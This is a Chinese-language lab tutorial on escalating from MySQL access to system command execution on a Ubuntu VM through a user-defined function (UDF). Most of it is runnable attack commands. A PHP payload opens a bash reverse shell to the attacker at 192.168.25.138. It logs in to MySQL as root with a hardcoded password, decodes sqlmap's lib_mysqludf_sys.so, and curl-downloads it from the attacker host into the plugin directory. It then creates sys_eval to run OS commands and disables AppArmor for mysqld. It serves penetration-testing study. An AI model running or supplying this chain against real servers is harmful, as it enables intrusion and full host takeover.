Linux提权之linux mysql udf提权(十五)
如果在linux中 存在mysql ,可以试用mysql提权 但是几率不会太大
首先环境 我们的kail机 不再多说 ip 192.168.25.138
我们的Ubuntu主机 ip 192.168.25.136
通过网盘分享的文件:Ubuntu.zip
链接: 百度网盘 请输入提取码 提取码: c57e
--来自百度网盘超级会员v3的分享
首先我们新建反弹shell
然后在网址输入192.168.25.136
bp进行抓包
输入
data=system('bash -c "bash -i >& /dev/tcp/192.168.25.138/5555 0>&1"');
python3 -c 'import pty;pty.spawn("/bin/bash")';
修改为完整的 shell
既然是mysql 提权
我们就要找对应的mysql
查看mysql版本
我们进行登录 mysql
mysql -uroot -p123456
成功进入mysql
既然我们要进行udf 提权 首先我们应该拿到 udf文件
首先我们来查看 插件目录
show variables like '%plugin%';
我们来查看权限
la -al /usr/lib/mysql/plugin/
首先我们应该先打开sqlmap
因为我们知道mysql版本是64位的
我们找到
/usr/share/sqlmap/data/udf/mysql/linux/64/lib_mysqludf_sys.so_
这个文件
我们找到这个目录下的.py文件 cloak.py
cd /usr/share/sqlmap/extra/cloak/
这个文件cloak.py 对lib_mysqludf_sys.so_ 进行解码
然后我们现在要进行解码
sudo python cloak.py -d -i /usr/share/sqlmap/data/udf/mysql/linux/64/lib_mysqludf_sys.so_ lib_mysqludf_sys.so
然后我们把解码好的这个文件 放到桌面上
cp /usr/share/sqlmap/data/udf/mysql/linux/64/lib_mysqludf_sys.so ~/Desktop
接下来我们要下载在这个目录上
cd /usr/lib/mysql/plugin/
curl http://192.168.25.138/lib_mysqludf_sys.so -o udf.so
然后我们进mysql
mysql -uroot -p123456
然后我们来创建函数
create function sys_eval returns string soname "udf.so";
select sys_eval('id');
select sys_eval('ifconfig');
udf提权通过在mysql中添加自定义函数来执行系统命令。效果是从 mysql权限 —> 系统权限
提权失败的原因
1.plugin不存在 或者 没权限写入文件
2.udfso文件 版本不对
3.设置权限
$ sudo ln -s /etc/apparmor.d/usr.sbin.mysqld /etc/apparmor.d/disable/
$ sudo apparmor_parser -R /etc/apparmor.d/usr.sbin.mysqld